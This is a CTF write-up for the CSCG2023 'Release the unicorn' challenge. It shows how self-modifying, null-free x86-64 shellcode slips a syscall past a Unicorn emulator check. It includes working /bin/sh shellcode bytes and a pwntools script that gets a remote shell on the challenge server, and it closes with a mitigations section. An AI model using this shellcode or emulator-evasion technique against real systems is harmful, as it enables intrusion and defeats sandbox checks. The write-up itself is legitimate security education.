Release the unicorn - CSCG2023

Category: Misc
Difficulty: Easy
Author: d0ntrash

I've decided to make a writeup for this challenge since it seems like my exploit was pretty unique. The intended solution is shown as well, but this writeup will focus on a bit of a different approach.

Recon

The challenge gives us a ZIP file (release-the-unicorn.zip) containing a vulnerable Rust app.
The code starts here, in the main function.

```
57  fn main() {
58      // Ignore me
59      let handler = SigHandler::Handler(signal_handler);
60      unsafe { signal(Signal::SIGALRM, handler)}.unwrap();
61      alarm::set(TIMEOUT);
62
63      // Read user input from stdin until NULL byte
64      println!("Bytecode: ");
65      let mut user_input: Vec<u8> = Vec::new();
66      for i in io::stdin().bytes() {
67          match i.unwrap() {
68              0x00 => break,
69              x => user_input.push(x),
70          }
71      }
72
73      println!("[+] Checking for malicious instructions...");
74      match emulate_bytecode(&user_input) {
75          Ok(_) => println!("[+] Looks 100% secure to run this on the host machine"),
76          Err(err) => panic!("[!] Emulation failed {err:?}"),
77      };
78
79      println!("[+] Starting execution...");
80      execute_bytecode(&user_input)
81  }
82
```

As seen on lines 64-71, the code first asks the user for a bytecode input, which stops once the iterator finds a nullbyte. This bytecode will then seemingly be checked with the `emulate_bytecode` function before executing it with `execute_bytecode`.

Our goal must be to pass this check and reach the `execute_bytecode` function.
But what does it even do?

```
47  fn execute_bytecode(code: &Vec<u8>) {
48      unsafe {
49          let alloc = region::alloc(code.len(), Protection::READ_WRITE_EXECUTE).unwrap();
50          let slice = std::slice::from_raw_parts_mut(alloc.as_ptr::<u8>() as *mut u8, alloc.
51          slice[..code.len()].copy_from_slice(&code);
52          let fn_ptr: fn() = std::mem::transmute(alloc.as_ptr::<u8>());
53          fn_ptr();
54      }
55  }
56
```

This code takes our bytecode, puts it into a RWX section in memory and then jumps to it.
That means that the bytecode we will have to supply is normal x86 assembly machine code.

We would love to get RCE on the remote machine, so shellcode which opens a shell for us would be ideal, but the `emulate_bytecode` function will probably try to stop us.

```rust
// Emulate bytecode using unicorn
// Checking for syscall and sysenter for sEcUrItY reasons
fn emulate_bytecode(code: &Vec<u8>) -> Result<(), uc_error> {
    let mut unicorn = Unicorn::new(Arch::X86, Mode::MODE_64)?;
    let emu = &mut unicorn;

    // Setup Memory
    emu.mem_map(BASE_ADDR, IMG_SIZE as usize, Permission::ALL)?;
    emu.mem_map(STACK_ADDR, STACK_SIZE as usize, Permission::ALL)?;
    emu.mem_write(BASE_ADDR, code)?;

    // Setup Registers
    emu.reg_write(RegisterX86::RSP, STACK_ADDR + STACK_SIZE - 1)?;

    // Add hooks
    emu.add_insn_sys_hook(InsnSysX86::SYSCALL, 1, 0, |uc| {
        panic!("[!] Syscall detected: {uc:?}");
    })?;
    emu.add_insn_sys_hook(InsnSysX86::SYSENTER, 1, 0, |uc| {
        panic!("[!] Sysenter detected: {uc:?}");
    })?;

    // Run emulation
    emu.emu_start(BASE_ADDR, (BASE_ADDR as usize + code.len()) as u64, 0, 0)?;
    Ok(())
}
```

As the helpful comment at the top explains, this code uses the `unicorn_engine` Rust module to emulate the bytecode before actually executing it on the remote machine.
Hooks are added for the syscall and sysenter instructions, which will prevent us from making syscalls.
Shellcode without syscalls is pretty useless, so we'll have to find our way around this check.

The core of this challenge is finding a discrepancy between the emulation and the execution.
We want the emulation to never execute a syscall, but we still want the execution to do so.
This way, we pass the check while still keeping the usefullness of the syscall.

The most common way I've seen this solved was by checking the `rsp` register in the shellcode.
The register gets set up right before emulation to a predictable value, which will be different in real execution.
Thus, the shellcode can check the value of `rsp` and only executes the syscall if we are in a real environment.

But there is another discrepancy, which I've abused.
In line 43, the emulation takes a start and an end address.
The execution here ends when we hit `BASE_ADDR + code.len()`, so once we reach the end of the code.
But what if the shellcode were to put code *after* the end address?
The emulation would stop since it reached the end address, however in real execution the code would continue, executing our syscall!

Exploitation

Since the code only reads until it reaches a nullbyte, we have to work with nullbyte-free shellcode.
A huge database of shellcode exists on shell-storm.org.
From here I've picked the first linux x86-64 shellcode, as it doesn't contain nullbytes, and works for our architecture.

The next step is making assembly code which will generate the syscall instruction.
I've played around a bit with defuse.ca's online assembler and made this shellcode:

Assembly

Raw Hex (zero bytes in bold):

488D0D12121212C781F8EDEDED0F05FFFF

String Literal:

"\x48\x8D\x0D\x12\x12\x12\x12\xC7\x81\xF8\xED\xED\xED\x0F\x05\xFF\xFF"

Array Literal:

{ 0x48, 0x8D, 0x0D, 0x12, 0x12, 0x12, 0x12, 0xC7, 0x81, 0xF8, 0xED, 0xED, 0xED, 0x0F, 0x05, 0xFF, 0xFF }

Disassembly:

```
0:  48 8d 0d 12 12 12 12    lea    rcx,[rip+0x12121212]        # 12121219 <_main+0x12121219>
7:  c7 81 f8 ed ed ed 0f    mov    DWORD PTR [rcx-0x12121208],0xffff050f
e:  05 ff ff
```

This shellcode will first put the address of `rip + 0x12121212` into the `rcx` register.
After that, it will put the 4-byte value `0xffff050f` into the memory at location `rcx - 0x12121208`.
The offsets marked in green might seem a bit useless at first, but they make sure that no nullbytes are in the shellcode.
If these offsets were `0` and we just put `lea rcx, [rip]` as the instruction for example, the bytecode would have nullbytes.
This would make it impossible to put it into the program, as it stops reading more bytes once it reaches a nullbyte.

If we were to ignore the offsets, all it does is put `0xffff050f` right after these two instructions in memory.
If we reverse the order of the individual bytes in the hexstring due to little-endian encoding, the instructions would be `0x0f05` and `0xffff`. Coincidentally, `0x0f05` is the bytecode for a syscall. The `0xffff` right after does not matter, as the `syscall` instruction will shift execution elsewhere before we can reach it.

If we use these two instructions to replace the syscall instruction of the shellcode, the emulation would never catch the syscall, but the real execution environment would.

```python
from pwn import *

# https://shell-storm.org/shellcode/files/shellcode-905.html without the syscall at the end
shellcode = [0x6a, 0x42, 0x58, 0xfe, 0xc4, 0x48, 0x99, 0x52, 0x48, 0xbf, 0x2f, 0x62, 0x69, 0x6e, 0x2f,
             0x2f, 0x73, 0x68, 0x57, 0x54, 0x5e, 0x49, 0x89, 0xd0, 0x49, 0x89, 0xd2]

# lea rcx, [rip+0x12121212]; mov DWORD PTR [rcx-0x12121208], 0xffff050f;
new_syscall = [0x48, 0x8d, 0x0d, 0x12, 0x12, 0x12, 0x12, 0xc7, 0x81,
               0xf8, 0xed, 0xed, 0xed, 0x0f, 0x05, 0xff, 0xff]

r = remote("COOL_ID-release-the-unicorn.challenge.master.cscg.live", 31337, ssl=True)
r.sendafter(b"Bytecode:", bytearray(shellcode) + bytearray(new_syscall) + b"\x00")

r.interactive()
```

This python code puts together the shellcode and the new syscall "instruction", and then sends it off. Let's see what the server thinks!

```
sw1tchbl4d3@pts/5 [~] % python3 tst.py
[+] Opening connection to                          -release-the-unicorn.challenge.master.cs
[*] Switching to interactive mode

[+] Checking for malicious instructions...
[+] Looks 100% secure to run this on the host machine
[+] Starting execution...
$ whoami
ctf
$ cd /home/ctf
$ ls
flag
unicorn
$ cat flag
CSCG{w4sn7_s0_s3cur3_4f3r_al1_huh}$
```

It thinks our bytecode is 100% secure and runs it, giving us a shell and with that the flag.

Mitigations

The core issue with this program is letting us run shellcode in the first place.
In this scenario, you could extend the length of execution across the whole RWX segment, but it wouldn't help against other solutions, like the checking of registers, or other discrepancies between emulation and execution.
You could try to emulate every branch, but that would come with a huge loss of performance for a program with no use except as a backdoor.

~sw1tchbl4d3, 30/04/2023 (dd/mm/yyyy)